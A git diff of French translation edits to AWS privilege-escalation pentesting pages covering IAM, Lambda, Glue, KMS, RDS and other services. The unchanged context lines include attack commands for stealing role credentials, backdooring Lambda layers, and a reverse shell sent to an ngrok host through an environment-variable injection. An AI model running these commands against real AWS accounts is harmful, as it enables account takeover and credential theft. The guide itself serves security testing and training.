diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 44c73fd8d..04c6e27e3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -4,7 +4,7 @@
## EMR
-Plus **d'infos sur EMR** dans :
+Plus d'**info sur EMR** dans :
{{#ref}}
../aws-services/aws-emr-enum.md
@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
-Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants du rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
+Notez comment un **rôle EMR** est spécifié dans `--service-role` et un **rôle ec2** est spécifié dans `--ec2-attributes` à l'intérieur de `InstanceProfile`. Cependant, cette technique ne permet que de voler les identifiants de rôle EC2 (puisque vous vous connecterez via ssh) mais pas le rôle IAM EMR.
**Impact potentiel :** Privesc au rôle de service EC2 spécifié.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index 892d94fb3..a4d0fa160 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,7 +4,7 @@
### `gamelift:RequestUploadCredentials`
-Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra des **credentials de téléchargement S3**.
+Avec cette autorisation, un attaquant peut récupérer un **nouveau jeu de credentials à utiliser lors du téléchargement** d'un nouvel ensemble de fichiers de construction de jeu vers Amazon GameLift's Amazon S3. Cela renverra **des credentials de téléchargement S3**.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index dfe9e5df4..52d938869 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -8,7 +8,7 @@
Les utilisateurs disposant de ces autorisations peuvent **configurer un nouveau point de terminaison de développement AWS Glue**, **en assignant un rôle de service existant pouvant être assumé par Glue** avec des autorisations spécifiques à ce point de terminaison.
-Après la configuration, l'**attaquant peut SSH dans l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
+Après la configuration, l'**attaquant peut se connecter en SSH à l'instance du point de terminaison**, et voler les identifiants IAM du rôle assigné :
```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name \
@@ -28,7 +28,7 @@ Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants
### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-Les utilisateurs disposant de cette autorisation peuvent **modifier la clé SSH d'un point de terminaison de développement Glue** existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
+Les utilisateurs ayant cette permission peuvent **modifier la clé SSH d'un** point de terminaison de développement Glue existant, **permettant l'accès SSH à celui-ci**. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :
```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
@@ -75,7 +75,7 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
### `glue:UpdateJob`
-Juste avec la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.
+Avec simplement la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.
**Impact potentiel :** Privesc au rôle de service glue attaché.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index 5e043e807..16572120e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id
### **`iam:CreateAccessKey`**
-Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges.
+Permet de créer un identifiant de clé d'accès et une clé d'accès secrète pour un autre utilisateur, ce qui peut entraîner une escalade de privilèges potentielle.
**Exploit :**
```bash
@@ -65,7 +65,7 @@ Permet d'activer une clé d'accès désactivée, ce qui peut entraîner un accè
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Impact :** Escalade de privilèges directe en réactivant des clés d'accès.
+**Impact :** Escalade de privilèges directe en réactivant les clés d'accès.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
@@ -79,7 +79,7 @@ aws iam create-service-specific-credential --user-name --service-name
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impact :** Escalade directe des privilèges au sein des permissions de service de l'utilisateur.
+**Impact :** Escalade de privilèges directe au sein des permissions de service de l'utilisateur.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
@@ -137,7 +137,7 @@ Permet de s'ajouter à un groupe IAM, escaladant les privilèges en héritant de
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact :** Escalade directe des privilèges au niveau des permissions du groupe.
+**Impact :** Escalade de privilèges directe au niveau des permissions du groupe.
### **`iam:UpdateAssumeRolePolicy`**
@@ -148,7 +148,7 @@ Permet de modifier le document de politique d'assumption de rôle d'un rôle, pe
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Où la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
+Lorsque la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la permission d'assumer le rôle :
```json
{
"Version": "2012-10-17",
@@ -167,7 +167,7 @@ Où la politique ressemble à ce qui suit, ce qui donne à l'utilisateur la perm
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte potentielle.
+Permet de télécharger une clé publique SSH pour s'authentifier à CodeCommit et de désactiver les dispositifs MFA, ce qui peut entraîner une escalade de privilèges indirecte.
**Exploitation pour le téléchargement de la clé SSH :**
```bash
@@ -177,7 +177,7 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Impact :** Escalade de privilèges indirecte en permettant l'accès à CodeCommit ou en désactivant la protection MFA.
+**Impact :** Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.
### **`iam:ResyncMFADevice`**
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name --serial-number
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Avec ces autorisations, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
+Avec ces permissions, vous pouvez **modifier les métadonnées XML de la connexion SAML**. Ensuite, vous pourriez abuser de la **fédération SAML** pour **vous connecter** avec n'importe quel **rôle qui lui fait confiance**.
-Notez que faire cela **empêchera les utilisateurs légitimes de se connecter**. Cependant, vous pourriez obtenir le XML, donc vous pouvez mettre le vôtre, vous connecter et configurer le précédent.
+Notez qu'en faisant cela, **les utilisateurs légitimes ne pourront pas se connecter**. Cependant, vous pourriez obtenir le XML, afin de pouvoir mettre le vôtre, vous connecter et configurer le précédent.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Pas sûr à ce sujet) Si un attaquant a ces **permissions**, il pourrait ajouter un nouveau **Thumbprint** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
+(Si ce n'est pas sûr) Si un attaquant a ces **permissions**, il pourrait ajouter une nouvelle **empreinte digitale** pour réussir à se connecter à tous les rôles faisant confiance au fournisseur.
```bash
# List providers
aws iam list-open-id-connect-providers
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 7989bb081..0652711af 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -57,12 +57,12 @@ aws kms create-grant \
--operations Decrypt
```
> [!WARNING]
-> Un accord ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Un grant ne peut autoriser que certains types d'opérations : [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
> [!WARNING]
-> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que l'accord a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
-> Cependant, s'il est nécessaire d'utiliser l'accord immédiatement [utilisez un jeton d'accord](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
-> Pour [**plus d'infos lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Notez qu'il peut falloir quelques minutes pour que KMS **permette à l'utilisateur d'utiliser la clé après que le grant a été généré**. Une fois ce délai écoulé, le principal peut utiliser la clé KMS sans avoir besoin de spécifier quoi que ce soit.\
+> Cependant, s'il est nécessaire d'utiliser le grant immédiatement [utilisez un token de grant](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (voir le code suivant).\
+> Pour [**plus d'infos, lisez ceci**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
```bash
# Use the grant token in a request
aws kms generate-data-key \
@@ -70,7 +70,7 @@ aws kms generate-data-key \
–-key-spec AES_256 \
--grant-tokens $token
```
-Notez qu'il est possible de lister les attributions de clés avec :
+Notez qu'il est possible de lister les autorisations des clés avec :
```bash
aws kms list-grants --key-id
```
@@ -78,7 +78,7 @@ aws kms list-grants --key-id
Avec ces autorisations, il est possible de répliquer une clé KMS activée pour plusieurs régions dans une autre région avec une politique différente.
-Ainsi, un attaquant pourrait en abuser pour obtenir un accès privilégié à la clé et l'utiliser.
+Ainsi, un attaquant pourrait en abuser pour obtenir un privesc de son accès à la clé et l'utiliser.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index ac8407654..4c4169160 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -12,11 +12,11 @@ Plus d'infos sur lambda dans :
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
-Les utilisateurs ayant les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
+Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:InvokeFunction`** peuvent élever leurs privilèges.\
Ils peuvent **créer une nouvelle fonction Lambda et lui attribuer un rôle IAM existant**, accordant à la fonction les permissions associées à ce rôle. L'utilisateur peut ensuite **écrire et télécharger du code sur cette fonction Lambda (avec un rev shell par exemple)**.\
Une fois la fonction configurée, l'utilisateur peut **déclencher son exécution** et les actions prévues en invoquant la fonction Lambda via l'API AWS. Cette approche permet effectivement à l'utilisateur d'effectuer des tâches indirectement via la fonction Lambda, opérant avec le niveau d'accès accordé au rôle IAM qui lui est associé.\\
-Un attaquant pourrait abuser de cela pour obtenir un **rev shell et voler le token** :
+Un attaquant pourrait en abuser pour obtenir un **rev shell et voler le token** :
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -72,7 +72,7 @@ return {
aws lambda invoke --function-name output.txt
cat output.txt
```
-**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié.
+**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.
> [!CAUTION]
> Notez que même si cela peut sembler intéressant, **`lambda:InvokeAsync`** **ne** permet pas à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit seulement établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
+Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit simplement établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt
#### RCE via variables d'environnement
-Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires par un processus python :
+Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront en sorte que la Lambda exécute du code arbitraire. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires à un processus python :
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
@@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
#### RCE via Lambda Layers
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda mais **de l'enregistrer séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda tout en **le stockant séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
À l'intérieur de lambda, vous pouvez vérifier les chemins à partir desquels le code python est chargé avec une fonction comme suit :
```python
@@ -210,12 +210,12 @@ pip3 install -t ./lambda_layer boto3
```
Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la porte dérobée dans le code global** (une fonction pour exfiltrer des identifiants ou obtenir un shell inversé par exemple).
-Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez la nouvelle couche lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
-Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, la couche doit être **compatible avec la version python** utilisée par la lambda et si vous la téléchargez dans votre compte, elle doit être dans la **même région :**
+Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez le nouveau layer lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
+Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, le layer doit être **compatible avec la version de python** utilisée par le lambda et si vous le téléchargez dans votre compte, il doit être dans la **même région :**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
-Maintenant, rendez la couche lambda téléchargée **accessible par n'importe quel compte** :
+Maintenant, rendez la couche lambda **accessible par n'importe quel compte** :
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
@@ -228,7 +228,7 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-La prochaine étape serait soit de **invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'elle **soit invoquée** par des moyens normaux – ce qui est la méthode la plus sûre.
+L'étape suivante serait soit de **invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'elle **soit invoquée** par des moyens normaux – ce qui est la méthode la plus sûre.
Une **manière plus discrète d'exploiter cette vulnérabilité** peut être trouvée dans :
@@ -240,7 +240,7 @@ Une **manière plus discrète d'exploiter cette vulnérabilité** peut être tro
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-le moi savoir si vous le faites !
+Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-moi savoir si vous le faites !
### Lambda MitM
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 356426ade..c867b0119 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name
### `lightsail:CreateBucketAccessKey`
-Cette permission vous permettra d'obtenir une clé pour accéder au bucket :
+Cette autorisation vous permettra d'obtenir une clé pour accéder au bucket :
```bash
aws lightsail create-bucket-access-key --bucket-name
```
@@ -59,7 +59,7 @@ aws lightsail update-relational-database --relational-database-name --pub
### `lightsail:OpenInstancePublicPorts`
-Cette permission permet d'ouvrir des ports vers Internet.
+Cette autorisation permet d'ouvrir des ports vers Internet.
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
@@ -69,7 +69,7 @@ aws lightsail open-instance-public-ports \
### `lightsail:PutInstancePublicPorts`
-Cette autorisation permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
+Cette autorisation permet d'ouvrir des ports sur Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
```bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
@@ -79,18 +79,18 @@ aws lightsail put-instance-public-ports \
### `lightsail:SetResourceAccessForBucket`
-Cette permission permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
+Cette autorisation permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
```bash
aws set-resource-access-for-bucket \
--resource-name \
--bucket-name \
--access allow
```
-**Impact potentiel :** Accès potentiel à de nouveaux buckets contenant des informations sensibles.
+**Impact potentiel :** Accès potentiel nouveau à des buckets contenant des informations sensibles.
### `lightsail:UpdateBucket`
-Avec cette autorisation, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
+Avec cette permission, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name --readonly-access-accounts
@@ -105,7 +105,7 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu
### `lightsail:UpdateContainerService`
-Avec ces permissions, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
+Avec ces autorisations, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
```bash
aws update-container-service \
--service-name \
@@ -131,6 +131,6 @@ aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
-**Impact potentiel :** Prendre le contrôle d'un domaine
+**Impact potentiel :** Prise de contrôle d'un domaine
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 1b7e67776..97e7761e9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -21,7 +21,7 @@ aws mq create-user --broker-id --console-access --password --use
### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-Avec ces autorisations, vous pouvez **créer un nouvel utilisateur dans un broker ActiveMQ** (cela ne fonctionne pas dans RabbitMQ) :
+Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas dans RabbitMQ) :
```bash
aws mq list-brokers
aws mq list-users --broker-id
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index cc4268f48..9ea8c9024 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -16,7 +16,7 @@ Avec ces **privilèges** et **l'accès au VPC où se trouvent les brokers kafka*
```bash
aws msk --client-authentication --cluster-arn --current-version
```
-Vous avez besoin d'accéder au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\
-Si **l'authentification basée sur les rôles IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès.
+Vous devez avoir accès au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\
+Si **l'authentification basée sur le rôle IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index c80a7377b..cf0eeaca2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -35,7 +35,7 @@ psql postgresql://:@:5432/
Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utilisateur avec cette permission pourrait se connecter à l'instance de DB.
-### Abus des permissions IAM du rôle RDS
+### Abuser des permissions IAM du rôle RDS
#### Postgresql (Aurora)
@@ -48,7 +48,7 @@ SELECT * FROM pg_extension;
```
Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **une sorte d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**).
-De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a un, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.
+De plus, si vous avez les permissions pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.
Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
```sql
@@ -85,9 +85,9 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
#### Mysql (Aurora)
> [!TIP]
-> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes à l'intérieur d'une **base de données mysql AWS RDS**.
+> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes dans une **base de données mysql AWS RDS**.
-À l'intérieur du mysql, exécutez **`show variables;`** et si les variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est prête à accéder aux données S3.
+À l'intérieur du mysql, exécutez **`show variables;`** et si des variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est préparée pour accéder aux données S3.
De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS.
@@ -105,7 +105,7 @@ Un attaquant avec les permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peu
aws add-role-to-db-cluster --db-cluster-identifier --role-arn
```
**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\
-Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier le rôle ARN dans les groupes de paramètres également.
+Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier l'ARN du rôle dans les groupes de paramètres également.
### `rds:CreateDBInstance`
@@ -122,7 +122,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
### `rds:CreateDBInstance`, `iam:PassRole`
> [!NOTE]
-> TODO: Test
+> TODO: Tester
Un attaquant avec les permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données au sein de l'instance.
@@ -142,7 +142,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
Un attaquant disposant des autorisations `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.
> [!WARNING]
-> L'instance de base de données doit être en dehors d'un cluster pour cela.
+> L'instance DB doit être en dehors d'un cluster pour cela.
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 4d2dbc952..8f5c313d9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -35,13 +35,13 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
-Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshift) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :
+Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshit) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :
```
aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’;
```
**Impact potentiel :** Trouver des informations sensibles dans les bases de données.
-## Accéder aux services externes
+## Accès aux services externes
> [!WARNING]
> Pour accéder à toutes les ressources suivantes, vous devrez **spécifier le rôle à utiliser**. Un cluster Redshift **peut avoir une liste de rôles AWS assignés** que vous pouvez utiliser **si vous connaissez l'ARN** ou vous pouvez simplement définir "**default**" pour utiliser celui par défaut assigné.
@@ -88,7 +88,7 @@ iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
